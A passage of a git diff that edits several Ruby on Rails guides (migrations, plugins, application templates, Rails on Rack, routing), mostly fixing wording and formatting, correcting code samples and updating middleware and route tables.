true + add_column :products, :price, :decimal, precision: 5, scale: 2 + add_reference :products, :supplier, polymorphic: true, index: true end end ``` @@ -326,7 +345,7 @@ By default, `create_table` will create a primary key called `id`. You can change the name of the primary key with the `:primary_key` option (don't forget to update the corresponding model) or, if you don't want a primary key at all, you can pass the option `id: false`. If you need to pass database specific options -you can place an SQL fragment in the `:options` option. For example, +you can place an SQL fragment in the `:options` option. For example: ```ruby create_table :products, options: "ENGINE=BLACKHOLE" do |t| @@ -340,7 +359,7 @@ will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table ### Creating a Join Table Migration method `create_join_table` creates a HABTM join table. A typical use -would be +would be: ```ruby create_join_table :products, :categories @@ -348,34 +367,32 @@ create_join_table :products, :categories which creates a `categories_products` table with two columns called `category_id` and `product_id`. These columns have the option `:null` set to -`false` by default. - -You can pass the option `:table_name` with you want to customize the table -name. For example, +`false` by default. This can be overridden by specifying the `:column_options` +option. ```ruby -create_join_table :products, :categories, table_name: :categorization +create_join_table :products, :categories, column_options: {null: true} ``` -will create a `categorization` table. +will create the `product_id` and `category_id` with the `:null` option as +`true`. -By default, `create_join_table` will create two columns with no options, but -you can specify these options using the `:column_options` option. For example, +You can pass the option `:table_name` when you want to customize the table +name. For example: ```ruby -create_join_table :products, :categories, column_options: {null: true} +create_join_table :products, :categories, table_name: :categorization ``` -will create the `product_id` and `category_id` with the `:null` option as -`true`. +will create a `categorization` table. `create_join_table` also accepts a block, which you can use to add indices (which are not created by default) or additional columns: ```ruby create_join_table :products, :categories do |t| - t.index :products - t.index :categories + t.index :product_id + t.index :category_id end ``` @@ -383,7 +400,7 @@ end A close cousin of `create_table` is `change_table`, used for changing existing tables. It is used in a similar fashion to `create_table` but the object -yielded to the block knows more tricks. For example +yielded to the block knows more tricks. For example: ```ruby change_table :products do |t| @@ -403,7 +420,7 @@ If the helpers provided by Active Record aren't enough you can use the `execute` method to execute arbitrary SQL: ```ruby -Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') +Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1') ``` For more details and examples of individual methods, check the API documentation. @@ -430,7 +447,7 @@ definitions: * `create_table` * `create_join_table` * `drop_table` (must supply a block) -* `drop_join_table` (must supply a block) +* `drop_join_table` (must supply a block) * `remove_timestamps` * `rename_column` * `rename_index` @@ -447,7 +464,7 @@ or write the `up` and `down` methods instead of using the `change` method. Complex migrations may require processing that Active Record doesn't know how to reverse. You can use `reversible` to specify what to do when running a -migration what else to do when reverting it. For example, +migration what else to do when reverting it. For example: ```ruby class ExampleMigration < ActiveRecord::Migration @@ -631,7 +648,7 @@ will update your `db/schema.rb` file to match the structure of your database. If you specify a target version, Active Record will run the required migrations (change, up, down) until it has reached the specified version. The version is the numerical prefix on the migration's filename. For example, to migrate -to version 20080906120000 run +to version 20080906120000 run: ```bash $ rake db:migrate VERSION=20080906120000 @@ -648,7 +665,7 @@ down to, but not including, 20080906120000. A common task is to rollback the last migration. For example, if you made a mistake in it and wish to correct it. Rather than tracking down the version -number associated with the previous migration you can run +number associated with the previous migration you can run: ```bash $ rake db:rollback @@ -666,7 +683,7 @@ will revert the last 3 migrations. The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating back up again. As with the `db:rollback` task, you can use the `STEP` parameter -if you need to go more than one version back, for example +if you need to go more than one version back, for example: ```bash $ rake db:migrate:redo STEP=3 @@ -676,22 +693,27 @@ Neither of these Rake tasks do anything you could not do with `db:migrate`. They are simply more convenient, since you do not need to explicitly specify the version to migrate to. +### Setup the Database + +The `rake db:setup` task will create the database, load the schema and initialize +it with the seed data. + ### Resetting the Database -The `rake db:reset` task will drop the database, recreate it and load the -current schema into it. +The `rake db:reset` task will drop the database and set it up again. This is +functionally equivalent to `rake db:drop db:setup`. NOTE: This is not the same as running all the migrations. It will only use the -contents of the current schema.rb file. If a migration can't be rolled back, -'rake db:reset' may not help you. To find out more about dumping the schema see -'[schema dumping and you](#schema-dumping-and-you).' +contents of the current `schema.rb` file. If a migration can't be rolled back, +`rake db:reset` may not help you. To find out more about dumping the schema see +[Schema Dumping and You](#schema-dumping-and-you) section. ### Running Specific Migrations If you need to run a specific migration up or down, the `db:migrate:up` and `db:migrate:down` tasks will do that. Just specify the appropriate version and the corresponding migration will have its `change`, `up` or `down` method -invoked, for example, +invoked, for example: ```bash $ rake db:migrate:up VERSION=20080906120000 @@ -733,7 +755,7 @@ Several methods are provided in migrations that allow you to control all this: | say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. | say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. -For example, this migration +For example, this migration: ```ruby class CreateProducts < ActiveRecord::Migration @@ -813,8 +835,7 @@ which contains a `Product` model: Bob goes on vacation. Alice creates a migration for the `products` table which adds a new column and -initializes it. She also adds a validation to the `Product` model for the new -column. +initializes it: ```ruby # db/migrate/20100513121110_add_flag_to_product.rb @@ -825,22 +846,22 @@ class AddFlagToProduct < ActiveRecord::Migration reversible do |dir| dir.up { Product.update_all flag: false } end - Product.update_all flag: false end end ``` +She also adds a validation to the `Product` model for the new column: + ```ruby # app/models/product.rb class Product < ActiveRecord::Base - validates :flag, presence: true + validates :flag, inclusion: { in: [true, false] } end ``` -Alice adds a second migration which adds and initializes another column to the -`products` table and also adds a validation to the `Product` model for the new -column. +Alice adds a second migration which adds another column to the `products` +table and initializes it: ```ruby # db/migrate/20100515121110_add_fuzz_to_product.rb @@ -855,11 +876,14 @@ class AddFuzzToProduct < ActiveRecord::Migration end ``` +She also adds a validation to the `Product` model for the new column: + ```ruby # app/models/product.rb class Product < ActiveRecord::Base - validates :flag, :fuzz, presence: true + validates :flag, inclusion: { in: [true, false] } + validates :fuzz, presence: true end ``` @@ -887,7 +911,7 @@ A fix for this is to create a local model within the migration. This keeps Rails from running the validations, so that the migrations run to completion. When using a local model, it's a good idea to call -`Product.reset_column_information` to refresh the `ActiveRecord` cache for the +`Product.reset_column_information` to refresh the Active Record cache for the `Product` model prior to updating data in the database. If Alice had done this instead, there would have been no problem: @@ -940,7 +964,7 @@ other product attributes. These migrations run just fine, but when Bob comes back from his vacation and calls `rake db:migrate` to run all the outstanding migrations, he gets a subtle bug: The descriptions have defaults, and the `fuzz` column is present, -but `fuzz` is nil on all products. +but `fuzz` is `nil` on all products. The solution is again to use `Product.reset_column_information` before referencing the Product model in a migration, ensuring the Active Record's @@ -1016,8 +1040,8 @@ this, then you should set the schema format to `:sql`. Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the `db:structure:dump` Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump` -utility is used. For MySQL, this file will contain the output of `SHOW CREATE -TABLE` for the various tables. +utility is used. For MySQL, this file will contain the output of +`SHOW CREATE TABLE` for the various tables. Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's @@ -1046,8 +1070,8 @@ with foreign key constraints in the database. Although Active Record does not provide any tools for working directly with such features, the `execute` method can be used to execute arbitrary SQL. You -could also use some gem like -[foreigner](https://github.com/matthuhiggins/foreigner) which add foreign key +can also use a gem like +[foreigner](https://github.com/matthuhiggins/foreigner) which adds foreign key support to Active Record (including support for dumping foreign keys in `db/schema.rb`). diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md index b90b3bb5fc..855fab18e3 100644 --- a/guides/source/nested_model_forms.md +++ b/guides/source/nested_model_forms.md @@ -9,7 +9,7 @@ After reading this guide, you will know: -------------------------------------------------------------------------------- -NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/). +NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it's **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/). Model setup @@ -56,7 +56,7 @@ end ### Custom model -As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior: +As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior: #### Single associated object @@ -177,7 +177,7 @@ When this form is posted the Rails parameter parser will construct a hash like t } ``` -That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved. +That's it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved. #### Nested form for a collection of associated objects diff --git a/guides/source/plugins.md b/guides/source/plugins.md index 695f25f8a9..720ca5d117 100644 --- a/guides/source/plugins.md +++ b/guides/source/plugins.md @@ -3,9 +3,9 @@ The Basics of Creating Rails Plugins A Rails plugin is either an extension or a modification of the core framework. Plugins provide: -* a way for developers to share bleeding-edge ideas without hurting the stable code base -* a segmented architecture so that units of code can be fixed or updated on their own release schedule -* an outlet for the core developers so that they don’t have to include every cool new feature under the sun +* A way for developers to share bleeding-edge ideas without hurting the stable code base. +* A segmented architecture so that units of code can be fixed or updated on their own release schedule. +* An outlet for the core developers so that they don't have to include every cool new feature under the sun. After reading this guide, you will know: @@ -15,7 +15,7 @@ After reading this guide, you will know: This guide describes how to build a test-driven plugin that will: * Extend core Ruby classes like Hash and String. -* Add methods to ActiveRecord::Base in the tradition of the 'acts_as' plugins. +* Add methods to `ActiveRecord::Base` in the tradition of the `acts_as` plugins. * Give you information about where to put generators in your plugin. For the purpose of this guide pretend for a moment that you are an avid bird watcher. @@ -34,15 +34,21 @@ different rails applications using RubyGems and Bundler if desired. Rails ships with a `rails plugin new` command which creates a - skeleton for developing any kind of Rails extension with the ability - to run integration tests using a dummy Rails application. See usage - and options by asking for help: +skeleton for developing any kind of Rails extension with the ability +to run integration tests using a dummy Rails application. Create your +plugin with the command: + +```bash +$ rails plugin new yaffle +``` + +See usage and options by asking for help: ```bash $ rails plugin --help ``` -Testing your newly generated plugin +Testing Your Newly Generated Plugin ----------------------------------- You can navigate to the directory that contains the plugin, run the `bundle install` command @@ -68,7 +74,7 @@ In this example you will add a method to String named `to_squawk`. To begin, cre require 'test_helper' -class CoreExtTest < Test::Unit::TestCase +class CoreExtTest < ActiveSupport::TestCase def test_to_squawk_prepends_the_word_squawk assert_equal "squawk! Hello World", "Hello World".to_squawk end @@ -86,7 +92,7 @@ Run `rake` to run the test. This test should fail because we haven't implemented Great - now you are ready to start development. -Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`: +In `lib/yaffle.rb`, add `require "yaffle/core_ext"`: ```ruby # yaffle/lib/yaffle.rb @@ -126,8 +132,8 @@ $ rails console Add an "acts_as" Method to Active Record ---------------------------------------- -A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you -want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models. +A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you +want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models. To begin, set up your files so that you have: @@ -136,7 +142,7 @@ To begin, set up your files so that you have: require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class ActsAsYaffleTest < ActiveSupport::TestCase end ``` @@ -162,9 +168,9 @@ end ### Add a Class Method -This plugin will expect that you've added a method to your model named 'last_squawk'. However, the -plugin users might have already defined a method on their model named 'last_squawk' that they use -for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'. +This plugin will expect that you've added a method to your model named `last_squawk`. However, the +plugin users might have already defined a method on their model named `last_squawk` that they use +for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`. To start out, write a failing test that shows the behavior you'd like: @@ -173,7 +179,7 @@ To start out, write a failing test that shows the behavior you'd like: require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field @@ -213,12 +219,11 @@ $ rails generate model Wickwall last_squawk:string last_tweet:string ``` Now you can create the necessary database tables in your testing database by navigating to your dummy app -and migrating the database. First +and migrating the database. First, run: ```bash $ cd test/dummy $ rake db:migrate -$ rake db:test:prepare ``` While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act @@ -239,7 +244,7 @@ end ``` -We will also add code to define the acts_as_yaffle method. +We will also add code to define the `acts_as_yaffle` method. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -280,7 +285,7 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun ``` -Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -304,7 +309,7 @@ end ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle ``` -When you run `rake` you should see the tests all pass: +When you run `rake`, you should see the tests all pass: ```bash 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips @@ -321,7 +326,7 @@ To start out, write a failing test that shows the behavior you'd like: # yaffle/test/acts_as_yaffle_test.rb require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field @@ -384,7 +389,11 @@ Run `rake` one final time and you should see: 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips ``` -NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`. +NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use: + +```ruby +send("#{self.class.yaffle_text_field}=", string.to_squawk) +``` Generators ---------- @@ -392,7 +401,7 @@ Generators Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the [Generators Guide](generators.html) -Publishing your Gem +Publishing Your Gem ------------------- Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply @@ -405,12 +414,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git' After running `bundle install`, your gem functionality will be available to the application. When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org). -For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html) +For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html). RDoc Documentation ------------------ -Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. +Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md index 77138d8871..e4222e1283 100644 --- a/guides/source/rails_application_templates.md +++ b/guides/source/rails_application_templates.md @@ -13,7 +13,7 @@ After reading this guide, you will know: Usage ----- -To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL. +To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the -m option. This can either be a path to a file or a URL. ```bash $ rails new blog -m ~/template.rb @@ -30,7 +30,7 @@ $ rake rails:template LOCATION=http://example.com/template.rb Template API ------------ -Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template: +The Rails templates API is easy to understand. Here's an example of a typical Rails template: ```ruby # template.rb @@ -43,11 +43,11 @@ git add: "." git commit: %Q{ -m 'Initial commit' } ``` -The following sections outlines the primary methods provided by the API: +The following sections outline the primary methods provided by the API: ### gem(*args) -Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`. +Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`. For example, if your application depends on the gems `bj` and `nokogiri`: @@ -66,7 +66,7 @@ bundle install Wraps gem entries inside a group. -For example, if you want to load `rspec-rails` only in `development` and `test` group: +For example, if you want to load `rspec-rails` only in the `development` and `test` groups: ```ruby gem_group :development, :test do @@ -78,7 +78,7 @@ end Adds the given source to the generated application's `Gemfile`. -For example, if you need to source a gem from "http://code.whytheluckystiff.net": +For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`: ```ruby add_source "http://code.whytheluckystiff.net" @@ -91,16 +91,16 @@ Adds a line inside the `Application` class for `config/application.rb`. If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`. ```ruby -environment 'config.action_mailer.default_url_options = {host: 'http://yourwebsite.example.com'}, env: 'production' +environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: 'production' ``` A block can be used in place of the `data` argument. ### vendor/lib/file/initializer(filename, data = nil, &block) -Adds an initializer to the generated application’s `config/initializers` directory. +Adds an initializer to the generated application's `config/initializers` directory. -Lets say you like using `Object#not_nil?` and `Object#not_blank?`: +Let's say you like using `Object#not_nil?` and `Object#not_blank?`: ```ruby initializer 'bloatlol.rb', <<-CODE @@ -116,9 +116,9 @@ initializer 'bloatlol.rb', <<-CODE CODE ``` -Similarly `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory. +Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory. -There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/file needed: +There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed: ```ruby file 'app/components/foo.rb', <<-CODE @@ -127,7 +127,7 @@ file 'app/components/foo.rb', <<-CODE CODE ``` -That’ll create `app/components` directory and put `foo.rb` in there. +That'll create the `app/components` directory and put `foo.rb` in there. ### rakefile(filename, data = nil, &block) @@ -179,7 +179,7 @@ rake "db:migrate", env: 'production' ### route(routing_code) -Adds a routing entry to the `config/routes.rb` file. In above steps, we generated a person scaffold and also removed `README.rdoc`. Now to make `PeopleController#index` as the default page for the application: +Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application: ```ruby route "root to: 'person#index'" @@ -197,7 +197,7 @@ end ### ask(question) -`ask()` gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding: +`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding: ```ruby lib_name = ask("What do you want to call the shiny library ?") @@ -211,7 +211,7 @@ CODE ### yes?(question) or no?(question) -These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to: +These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to freeze rails only if the user wants to: ```ruby rake("rails:freeze:gems") if yes?("Freeze rails gems?") @@ -227,3 +227,22 @@ git :init git add: "." git commit: "-a -m 'Initial commit'" ``` + +Advanced Usage +-------------- + +The application template is evaluated in the context of a +`Rails::Generators::AppGenerator` instance. It uses the `apply` action +provided by +[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207). +This means you can extend and change the instance to match your needs. + +For example by overwriting the `source_paths` method to contain the +location of your template. Now methods like `copy_file` will accept +relative paths to your template's location. + +```ruby +def source_paths + [File.expand_path(File.dirname(__FILE__))] +end +``` diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md index d8477d89e3..9c92cf3aea 100644 --- a/guides/source/rails_on_rack.md +++ b/guides/source/rails_on_rack.md @@ -5,7 +5,6 @@ This guide covers Rails integration with Rack and interfacing with other Rack co After reading this guide, you will know: -* How to create Rails Metal applications. * How to use Rack Middlewares in your Rails applications. * Action Pack's internal Middleware stack. * How to define a custom Middleware stack. @@ -28,7 +27,10 @@ Rails on Rack ### Rails Application's Rack Object -`ApplicationName::Application` is the primary Rack application object of a Rails application. Any Rack compliant web server should be using `ApplicationName::Application` object to serve a Rails application. +`ApplicationName::Application` is the primary Rack application object of a Rails +application. Any Rack compliant web server should be using +`ApplicationName::Application` object to serve a Rails +application. `Rails.application` refers to the same application object. ### `rails server` @@ -79,11 +81,11 @@ To use `rackup` instead of Rails' `rails server`, you can put the following insi ```ruby # Rails.root/config.ru -require "config/environment" +require ::File.expand_path('../config/environment', __FILE__) -use Rack::Debugger +use Rails::Rack::Debugger use Rack::ContentLength -run ApplicationName::Application +run Rails.application ``` And start the server: @@ -101,7 +103,7 @@ $ rackup --help Action Dispatcher Middleware Stack ---------------------------------- -Many of Action Dispatchers's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application. +Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application. NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements. @@ -116,6 +118,7 @@ $ rake middleware For a freshly generated Rails application, this might produce something like: ```ruby +use Rack::Sendfile use ActionDispatch::Static use Rack::Lock use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838> @@ -128,6 +131,7 @@ use ActionDispatch::DebugExceptions use ActionDispatch::RemoteIp use ActionDispatch::Reloader use ActionDispatch::Callbacks +use ActiveRecord::Migration::CheckPending use ActiveRecord::ConnectionAdapters::ConnectionManagement use ActiveRecord::QueryCache use ActionDispatch::Cookies @@ -140,7 +144,7 @@ use Rack::ETag run MyApp::Application.routes ``` -Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section. +The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below. ### Configuring Middleware Stack @@ -178,18 +182,17 @@ You can swap an existing middleware in the middleware stack using `config.middle config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions ``` -#### Middleware Stack is an Enumerable +#### Deleting a Middleware -The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods. - -Append following lines to your application configuration: +Add the following lines to your application configuration: ```ruby # config/application.rb config.middleware.delete "Rack::Lock" ``` -And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it. +And now if you inspect the middleware stack, you'll find that `Rack::Lock` is +not a part of it. ```bash $ rake middleware @@ -221,118 +224,106 @@ config.middleware.delete "Rack::MethodOverride" Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them: - **`ActionDispatch::Static`** +**`Rack::Sendfile`** + +* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option. -* Used to serve static assets. Disabled if `config.serve_static_assets` is true. +**`ActionDispatch::Static`** - **`Rack::Lock`** +* Used to serve static assets. Disabled if `config.serve_static_assets` is `false`. + +**`Rack::Lock`** * Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex. - **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** +**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** * Used for memory caching. This cache is not thread safe. - **`Rack::Runtime`** +**`Rack::Runtime`** * Sets an X-Runtime header, containing the time (in seconds) taken to execute the request. - **`Rack::MethodOverride`** +**`Rack::MethodOverride`** * Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types. - **`ActionDispatch::RequestId`** +**`ActionDispatch::RequestId`** * Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method. - **`Rails::Rack::Logger`** +**`Rails::Rack::Logger`** * Notifies the logs that the request has began. After request is complete, flushes all the logs. - **`ActionDispatch::ShowExceptions`** +**`ActionDispatch::ShowExceptions`** * Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user. - **`ActionDispatch::DebugExceptions`** +**`ActionDispatch::DebugExceptions`** * Responsible for logging exceptions and showing a debugging page in case the request is local. - **`ActionDispatch::RemoteIp`** +**`ActionDispatch::RemoteIp`** * Checks for IP spoofing attacks. - **`ActionDispatch::Reloader`** +**`ActionDispatch::Reloader`** * Provides prepare and cleanup callbacks, intended to assist with code reloading during development. - **`ActionDispatch::Callbacks`** +**`ActionDispatch::Callbacks`** * Runs the prepare callbacks before serving the request. - **`ActiveRecord::ConnectionAdapters::ConnectionManagement`** +**`ActiveRecord::Migration::CheckPending`** + +* Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending. + +**`ActiveRecord::ConnectionAdapters::ConnectionManagement`** * Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`. - **`ActiveRecord::QueryCache`** +**`ActiveRecord::QueryCache`** * Enables the Active Record query cache. - **`ActionDispatch::Cookies`** +**`ActionDispatch::Cookies`** * Sets cookies for the request. - **`ActionDispatch::Session::CookieStore`** +**`ActionDispatch::Session::CookieStore`** * Responsible for storing the session in cookies. - **`ActionDispatch::Flash`** +**`ActionDispatch::Flash`** * Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value. - **`ActionDispatch::ParamsParser`** +**`ActionDispatch::ParamsParser`** * Parses out parameters from the request into `params`. - **`ActionDispatch::Head`** +**`ActionDispatch::Head`** * Converts HEAD requests to `GET` requests and serves them as so. - **`Rack::ConditionalGet`** +**`Rack::ConditionalGet`** * Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed. - **`Rack::ETag`** +**`Rack::ETag`** * Adds ETag header on all String bodies. ETags are used to validate cache. TIP: It's possible to use any of the above middlewares in your custom Rack stack. -### Using Rack Builder - -The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`. - -<strong>Clear the existing Rails middleware stack</strong> - -```ruby -# config/application.rb -config.middleware.clear -``` - -<br /> -<strong>Add a `config.ru` file to `Rails.root`</strong> - -```ruby -# config.ru -use MyOwnStackFromScratch -run ApplicationName::Application -``` - Resources --------- ### Learning Rack -* [Official Rack Website](http://rack.github.com) +* [Official Rack Website](http://rack.github.io) * [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html) * [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack) * [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder) diff --git a/guides/source/routing.md b/guides/source/routing.md index 04098f0a5c..3375293b5a 100644 --- a/guides/source/routing.md +++ b/guides/source/routing.md @@ -36,7 +36,7 @@ the request is dispatched to the `patients` controller's `show` action with `{ i ### Generating Paths and URLs from Code -You can also generate paths and URLs. If the route above is modified to be: +You can also generate paths and URLs. If the route above is modified to be: ```ruby get '/patients/:id', to: 'patients#show', as: 'patient' @@ -89,15 +89,15 @@ resources :photos creates seven different routes in your application, all mapping to the `Photos` controller: -| HTTP Verb | Path | Action | Used for | -| --------- | ---------------- | ------- | -------------------------------------------- | -| GET | /photos | index | display a list of all photos | -| GET | /photos/new | new | return an HTML form for creating a new photo | -| POST | /photos | create | create a new photo | -| GET | /photos/:id | show | display a specific photo | -| GET | /photos/:id/edit | edit | return an HTML form for editing a photo | -| PATCH/PUT | /photos/:id | update | update a specific photo | -| DELETE | /photos/:id | destroy | delete a specific photo | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ---------------- | ----------------- | -------------------------------------------- | +| GET | /photos | photos#index | display a list of all photos | +| GET | /photos/new | photos#new | return an HTML form for creating a new photo | +| POST | /photos | photos#create | create a new photo | +| GET | /photos/:id | photos#show | display a specific photo | +| GET | /photos/:id/edit | photos#edit | return an HTML form for editing a photo | +| PATCH/PUT | /photos/:id | photos#update | update a specific photo | +| DELETE | /photos/:id | photos#destroy | delete a specific photo | NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions. @@ -138,6 +138,12 @@ Sometimes, you have a resource that clients always look up without referencing a get 'profile', to: 'users#show' ``` +Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action: + +```ruby +get 'profile', to: :show +``` + This resourceful route: ```ruby @@ -146,14 +152,14 @@ resource :geocoder creates six different routes in your application, all mapping to the `Geocoders` controller: -| HTTP Verb | Path | Action | Used for | -| --------- | -------------- | ------- | --------------------------------------------- | -| GET | /geocoder/new | new | return an HTML form for creating the geocoder | -| POST | /geocoder | create | create the new geocoder | -| GET | /geocoder | show | display the one and only geocoder resource | -| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder | -| PATCH/PUT | /geocoder | update | update the one and only geocoder resource | -| DELETE | /geocoder | destroy | delete the geocoder resource | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | -------------- | ----------------- | --------------------------------------------- | +| GET | /geocoder/new | geocoders#new | return an HTML form for creating the geocoder | +| POST | /geocoder | geocoders#create | create the new geocoder | +| GET | /geocoder | geocoders#show | display the one and only geocoder resource | +| GET | /geocoder/edit | geocoders#edit | return an HTML form for editing the geocoder | +| PATCH/PUT | /geocoder | geocoders#update | update the one and only geocoder resource | +| DELETE | /geocoder | geocoders#destroy | delete the geocoder resource | NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`). @@ -165,6 +171,12 @@ A singular resourceful route generates these helpers: As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix. +WARNING: A [long-standing bug](https://github.com/rails/rails/issues/1769) prevents `form_for` from working automatically with singular resources. As a workaround, specify the URL for the form directly, like so: + +```ruby +form_for @geocoder, url: geocoder_path do |f| +``` + ### Controller Namespaces and Routing You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the 